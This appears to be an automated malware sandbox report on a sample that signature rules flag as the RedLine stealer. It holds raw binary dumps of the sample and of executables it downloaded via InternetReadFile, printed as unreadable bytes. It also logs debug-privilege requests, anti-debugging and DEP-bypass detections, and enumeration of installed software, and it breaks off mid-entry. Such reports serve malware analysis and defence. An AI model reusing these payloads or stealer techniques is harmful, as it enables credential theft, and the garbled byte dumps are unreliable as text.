¶T.ÿƒðUÂÇÁ⊈D.ÿ‹Áƒø|(덛¶0¶L0ÿÂÁâϊ ˆ 0Hƒø}බ‡ ÂÁâ׊ ˆ^_] ƒì$V‹D$,¶¶P€ñ£€òTˆL$¶HˆT$¶PöрòuˆL$¶HˆT$¶P€ñç€òDˆL$¶HˆT$ ¶P€ñK€ò#ˆL$ ¶HˆT$ ¶P €ñ¿€òEˆL$ ¶H ˆT$ ¶P €ñ;€òVˆL$¶H ˆT$¶P €ñø€ò˜ˆL$¶HˆT$¶P€ñ[€òôˆL$¶HˆT$¶P€ñµ€ò‡ˆL$¶HˆT$¶P€ñ{€òˆL$¶HˆT$¶P€ñô€òvˆL$¶HˆT$¶P€ñ¹€ò4ˆL$¶HˆT$¶P€ñ¿€òˆL$¶HˆT$¶P‹t$0€ñç€òxˆL$¶HˆT$¶P€ñ˜€òéˆL$ ¶HˆT$!¶Pj D$P€ño€ò´VˆL$.ˆT$/ÆD$0脛ƒÄ ‹Æ^ƒÄ$ÃÌÌÌÌÌÌÌÌÌÌV‹t$…öu hW€è øÿÿ‹L$ …É} hW€èû÷ÿÿW‹|$…ÿu hW€èè÷ÿÿ‹;Çt:;L$~jQPèVŸƒÄ …Àu5h€èÂ÷ÿÿPèqžƒÄ‰>ƒ>uh€è¨÷ÿÿ;L$~éjQèݞƒÄ‰ëÜ_^ÃSVWj ‹ÙèꖋðƒÄ…öt-‹|$WÇFÇFÿt±A‰…Àu…ÿt h€èޔ3ö‰3…öu h€è̔_^‹Ã[ÂÌÌÌÌV‹ñ‹…Àt‹‹QPÿҋÆÇ^ÃÌÌÌÌÌSU‹l$ ‹Ù…íu‰+][ÂVWUÿ °A‹øh€CPGWSèÁþÿÿ‹‹L$(ƒÄWPWUjQÿ°A‹ð÷ÞöƒÆtVÿ°AƒøzuB‹T$jjWUjRÿ°A‹ðh€CPVSèpþÿÿ‹‹L$(ƒÄVPWUjQÿ°A‹ð÷ÞöF…ötèšöÿÿ_^][ÂÌÌÌVW‹ù‹7…öt>FPÿ°A…Àu*…öt&‹…ÀtPÿp±A‹F…Àt Pèõ•ƒÄVèᔃÄÇ_^ÃÌÌÌÌ́ìŒSUVW3ÛSÿ|±A„$PL$QÆD$àÆD$;ÆD$ÆD$*ÆD$¢ÆD$*ÆD$*ÆD$AÆD$ ÓÆD$! ÆD$"dÆD$#ÆD$$ŠÆD$%÷ÆD$&=ÆD$'ÆD$(ÙÆD$)îÆD$*ÆD$+hÆD$,ôÆD$-vÆD$.¹ÆD$/4ÆD$0¿ÆD$1ÆD$2çÆD$3xÆD$4˜ÆD$5éÆD$6oÆD$7´ˆ\$8è—ûÿÿPèߞƒÄ = ²A„½ ÿD°APj譒”$x‹øRWDŽ$€$ÆD$dÎÆD$e'ÆD$fœÆD$gÆD$h•ÆD$i.ÆD$j"ÆD$kWÆD$l‘ÆD$m!ÆD$nWÆD$o:ÆD$pøÆD$q˜ÆD$r[ÆD$sôÆD$tµÆD$u‡ÆD$v{ÆD$wÆD$xôÆD$yvÆD$z¹ÆD${4ÆD$|¿ÆD$}ÆD$~çÆD$xƄ$€˜Æ„$éƄ$‚oƄ$ƒ´ˆœ$„ÆD$ÀÆD$8ÆD$ÆD$ÆD$ŽÆD$0ÆD$eÆD$GÆD$ ÓÆD$!)ÆD$";ÆD$#VÆD$$øÆD$%˜ÆD$&[ÆD$'ôÆD$(µÆD$)‡ÆD
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELî\©eà  öN @ ``…K ¸à'@ À  H.textTõ ö `.rsrc¸ ø@@.reloc @þ@B0H€&´ 4>è0V~:K€( è  s ( þþ ( ( ? rps z*(*0÷    8( œŽi]‘œX  ?Þÿÿÿ  8$ ‘X‘X ] ‘ ‘œ œX  ?Ñÿÿÿ  8iX ] ‘X ] ‘ ‘œ œÝ&rêp( Ý‘ ‘X ]%q‘aҁXŽi?ÿÿÿ*¤ ®0· 8P%q ®XҁÝ&P%qYҁÝP%q ¯YҁP%q èXҁP%q šaҁP%q@XҁP%qCYҁP%q ¸XҁP%q0aҁP%q ¢XҁP%q YҁP%q ˆaҁP%q.XҁÝ&P%qYҁÝP%qXaҁP%qNXҁX ?\þÿÿÝ&Ý*AL&BV°°0)s  o Ži< Ži=s &*2(( *03( ( : þs ( o 9õÿÿÿ*VC ZX**0… ¬%Ð(  ÿÿÿ(  Ži( ~~( Ži@(&  ˆ~((&Ýz*(*2(( *Þ(%Ð( € ²%Ð( €*0c~ Xo o  89š ~ o Xo t) (! to" X Ži?¾ÿÿÿ*2(( *~(Ð (# o$ o% €*2(( *0H~:=€( ès ( ( ( ? rps z*( *BSJB v4.0.30319l#~lô #Strings`#USh#GUIDx<#BlobWÕ4 2%'    "CHOHV"oˆ¢"¹"Ö"õ"BbHh"ƒ"žH¦BÄ"áõGRHãH€H»HÄHíH÷HH9H˜HÓHâHúHH#(?HnBH“H "$H)"3"T""ŠH½HÜ" HHf €  B#,?MY?M l?MMÄQíQ Q+MZ?MmU’?M¥M íQêQQ$QAQ^Q{Q™É°›º›ÄŸØ£ì§«IÉ3^3Ÿ3à!3! %3b )3£ 3ä -3% 1P “ªÌ´ ‘Ì€– ó€– /û€– K€– n €– Ž €– ¬¼ –É'Ð!–ðFà#‘ R$†=©($†=©h$Z€$d©$%¦©,%†=©<%‘Ìt%“°ä%†=©ô%‘̆=nÆø!Æ"Æ8%$&“SÌ&x&†=©&ÿÿ(1B =¹!=¹)=¹1=¹9=¹A=¹I=¹Q=oa=¹i=¹y=©=¹‰=ùÍÕ¹=Ú¹Õá±äêÁòîÉ=¹éÛ<ñêA=©_™=©=n Ft J}}‘1>Æ9JÍQ_ê1qÔa“ÛA¢ç9«í9Ïöqåü‰=©‘=©'35.S6.Kt.Cf.kº.c­.[Š.Ê.¾. ¡.#.;<.36.+!£;5£;5;5¬² (@Ð/NX
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@躴 Í!¸LÍ!This program cannot be run in DOS mode. $ËS½^ª=î^ª=î^ª=î1Ü£îGª=î1ܗî*ª=î1ܖîzª=îWÒ®î[ª=î^ª<î=ª=î1ܒî_ª=î1ܧî_ª=î1Ü î_ª=îRich^ª=îPELy°cà  FF,`@à"u€|¢<@¨_ ”`”.textjDF `.rdata¾K`LJ@@.dataÀs°"–@À.tlsÍ 0 ¸@À.rsrc¨Ÿ@`Â@@ÝD$ÝD$ ÙóÃÌÌÌÌÌÝD$éÙ¶ÌÌÌÌÌÌÌÙD$ƒìÝ$èqµƒÄÃÌÌÌÌÌÌÌÌÌÌÌÌÌQ$P‹ÎÇD$èOÇxbC‹ÆYÃÌÌÇxbCéÐÌÌÌÌÌV‹ñÇxbCè½öD$t Vè&ƒÄ‹Æ^ÂÌÌÌÌÌÌÌÌÌÌÌ̍PŠ@„Éuù+ÂÃÌÌÌPQRèhùƒÄ ÃÌÌÌÌPQRèHƒÄ ÃÌÌÌ̊ˆ ÃÌÌÌÌÌÌÌÌÌÌÌV‹ñ‹ÈWÇFÇFƍy›ŠA„Òuù+ϋùèð_‹Æ^ÃÌÌÌÌÌÌÌÌÌÌÌS3ÛÇF‰^ˆ;÷tLƒ~r ‹PèpƒÄÇF‰^ˆƒs‹OAQWVè®ƒÄ ë‹‰‰‹G‰F‹O‰N‰_‰_‹Æ[ÃÌÌÌÌÌÌÌÌÌÌÌÌ̋@ÃÌÌÌÌÌÌÌÌÌÌÌÌ3ɉ‰H‰HÃÌÌÌÌ̋OV‹ð;ñsG‹;ÆwA+ð¸“$I’÷îÖÁú‹òÁîò;Ou‹ÏèO‹õ+ƍ‹ORè ƒÄƒG^Ã;Ou‹Ïè#‹OVèúƒGƒÄ^ÃÌ;÷t]ƒ~r ‹PèƒÄÇFÇFƃs‹OAQWVè¸ƒÄ ë ‹‰Ç‹G‰F‹O‰NÇGÇG‹ÆÃÌÌÌÌÌÌÌÌÌÌÌÌV‹ÈWqŠA„Òuù+΋t$ ‹ùèU_^€|$t"ƒ~rS‹…ÿt WSVèT÷ƒÄ Sè܃Ä[ÇF‰~Æ7ÂÌÌÌÌÌ̃xr‹ÃÌÌÌÌÌÌÌÂÌÌÌÌÌÌÌÌÌÌÌÌÌ;As 9w¸Ã3ÀÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌS‹V‹q+ó¸“$I’÷îÖÁú‹òÁîòþH’$ v hxCèr W‹y+û¸“$I’÷ï×Áú‹ÂÁèFÂ;ðv!‹ÐÑê¿I’$ +ú;øs3ÀëÂ;Æs‹ÆPèc_^[ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌV‹3…öt!W‹{;÷t èË ƒÆ;÷uô‹Pè݃Ä_ÇÇCÇC^ÃÌÌ3ɉ‰H‰HÂÌÌÌS‹Ø…ÛtK‹Nƒùr‹ë‹Æ;Ør9ƒùr‹ë‹Æ‹VÐ;Óv%ƒùr‹+ØV‹Ç‹Îè [ËÆ+ØV‹Ç‹Îè[Ãÿþv hŒCèo ‹F;Çs‹FPWVèÍ…ÿtLƒ~r ‹ë…ÿuò‰~ƒør ‹ƋÆ[ËÆÆ[ËÆWSPèyõƒÄ ƒ~‰~r ‹Æ8‹Æ[ËÆÆ8‹Æ[ÃÌÌÌÌÌÌÌÌ̃x‰Hr‹ÆÃh`Cè3 ÌÌÌÌÌÌPè»YÃÌÌÌÌÌÌÌÌU‹ìjÿhàSCd¡Pƒì SVW¡L±C3ÅPEôd£‰eð‹ù‹MùI’$ v hxCèŽ ‹w+7¸“$I’÷îÖÁú‹ÂÁèÂ;ÁƒŒèéÇEü‹u‹O‹VP‰Eèè0‹O‹7‰Mì+θ“$I’÷éÑÁú‹ÚÁëƒÄڅöt$;uìt¤$èÛƒÆ;uìuó‹QèìƒÄ‹EÅ+ЋEè Ý+ӉO ‰O‰‹Môd‰ Y_^[‹å]‹UèR覃ÄjjèÌÌÌÌÌÌÌÌ̋H+¸“$I’÷éÑÁú‹ÂÁèÂÃÌÌÌÌÌÌ̋H+¸“$I’÷éÑÁú‹ÂÁèÂÃÌÌÌÌÌÌÌV‹ð;÷t è$ƒÆ;÷uô^ÃÌÌÌÌÌÌÌÌÌÌ̋H+¸“$I’÷éÑÁú‹ÂÁè‹ÈÑéºI’$ +Ñ;Ðs3ÀëÁ;Æs‹ÆÃÌÌÌÌÌÌÌÌÌÌÌÌhxCè ÌÌÌÌÌÌSPƒÈÿ3Ûè[ÃÌÌU‹l$VW‹}‹ñ;ûs h`Cè# +û;Çs‹ø;õu ƒÈÿ诋Ã3Éè¦_‹Æ^]ƒÿþv hŒC蟋F;Çs‹FPWVèý…ÿtj¸9Er)‹Më&…ÿuí‰~ƒør ‹_ƋÆ^]Â_‹Æ^Æ]‹Í9Fr‹ë‹ÆWËQPèòƒÄ ƒ~‰~r‹Æ8_‹Æ^]‹ÆÆ8_‹Æ^]ÂÌÌÌÌÌÌ̃þþv hŒCè‹H;Îs‹HQVPè_3Ò;ÖÀ÷ØÅöu ‰pƒùr‹Æ3Ò;ÖÀ÷ØÃÌÌÌÌÌÌÌÌÌÌÌ̅öt)‹Pƒúr‹ë‹È;ñrƒúr‹ë‹È‹@Á;Æv°Ã2ÀÃhŒCè†ÌÌÌÌÌ̃ì3À…ÉtNùI’$ wÍ+ÁÀÀPèJƒÄ…Àu, $QL$ÇD$è hðžCT$RÇD$ xbCè~ƒÄÃÌÌÌÌ̸I’$ ÃÌÌÌÌÌÌÌÌÌÌW‹ø‹F;Ás h`CèI+Á;Çs‹ø…ÿtL‹VSƒúr‹ë‹Þƒúr‹ë‹Ö+ÇÙPßÑSRè ‹FƒÄ +ǃ~‰F[r ‹Æ‹Æ_ËÎÆ‹Æ_øþÿÿÿÃÌÌÌÌÌÌÌÌÌÌU‹ìjÿh€SCd¡PƒìSVW¡L±C3ÅPEôd£‰eð‹E ‹}‹ðƒÎƒþþv‹ðë'‹_¸«ªªª÷æ‹ËÑéÑê;Êv¸þÿÿÿ+Á4;Øv¾þÿÿÿ3ÀN‰Eü;ÈvƒùÿwQèƒÄ…Àt‰E ëLMìQMÜÇEìèÇ hðžCUÜRÇEÜxbCè4‹E H‰eð‰EèÆEü誉E ¸@Ë}‹uè‹]…Ûtƒr‹ë‹ÇSP‹E PèíïƒÄ ƒr ‹QèmƒÄ‹E Ɖ‰w‰_ƒþr‹øÆ‹Môd‰ Y_^[‹å] ‹uƒ~r ‹Rè,ƒÄjÇFÇFjÆèƒÌÌÌÌÌÌÌÌÌÌÌÌÌ̃ì3À…Ét>ƒùÿw QèúƒÄ…Àu,$PL$ÇD$èÃhðžCL$QÇD$ xbCè.ƒÄÃÌÌÌÌ̃ÈÿÃÌÌÌÌÌÌÌÌÌÌÌÌjÿh¥SCd¡PS¡L±C3ÄPD$d£3À‰D$;Èt‰AÇAˆ‹D$PƒÈÿ3ÛèŠûÿÿ‹L$d‰ Y[ƒÄ ÃÌÌÌÌÌÌÌÌÌ2ÀÃÌÌÌÌÌÌÌÌÌÌÌÌ̋D$PQ‹L$ è!ƒÄÂÌÌÌÌÌÌÌÌÌÌ̋D$VP‹ñè¶ÇxbC‹Æ^ÂÌÌÌÌÌÌÌjÿh¥SCd¡PS¡L±C3ÄPD$d£3À‰D$;Èt‰AÇAˆ‹D$PƒÈÿ3
request_handle: 0x00cc000c
1 1 0
section {u'size_of_data': u'0x00072a00', u'virtual_address': u'0x00001000', u'entropy': 7.999602895794089, u'name': u'', u'virtual_size': u'0x0010a000'} entropy 7.99960289579 description A section with a high entropy has been found
section {u'size_of_data': u'0x00011e00', u'virtual_address': u'0x0010b000', u'entropy': 7.995181471687354, u'name': u'', u'virtual_size': u'0x00027000'} entropy 7.99518147169 description A section with a high entropy has been found
section {u'size_of_data': u'0x00000800', u'virtual_address': u'0x00132000', u'entropy': 7.2921022948448, u'name': u'', u'virtual_size': u'0x00004000'} entropy 7.29210229484 description A section with a high entropy has been found
section {u'size_of_data': u'0x0009d800', u'virtual_address': u'0x00445000', u'entropy': 7.93891085890907, u'name': u'.data', u'virtual_size': u'0x0009e000'} entropy 7.93891085891 description A section with a high entropy has been found
entropy 0.986417657046 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Take ScreenShot rule ScreenShot
description PWS Memory rule Generic_PWS_Memory_Zero
description RedLine stealer rule RedLine_Stealer_m_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
Time & API Arguments Status Return Repeated

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
base_handle: 0x80000002
key_handle: 0x00000484
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

 regkey_r: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}
base_handle: 0x80000002
key_handle: 0x00000470
options: 0
access: 0x00020019
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}
1 0 0

RegOpenKeyExA

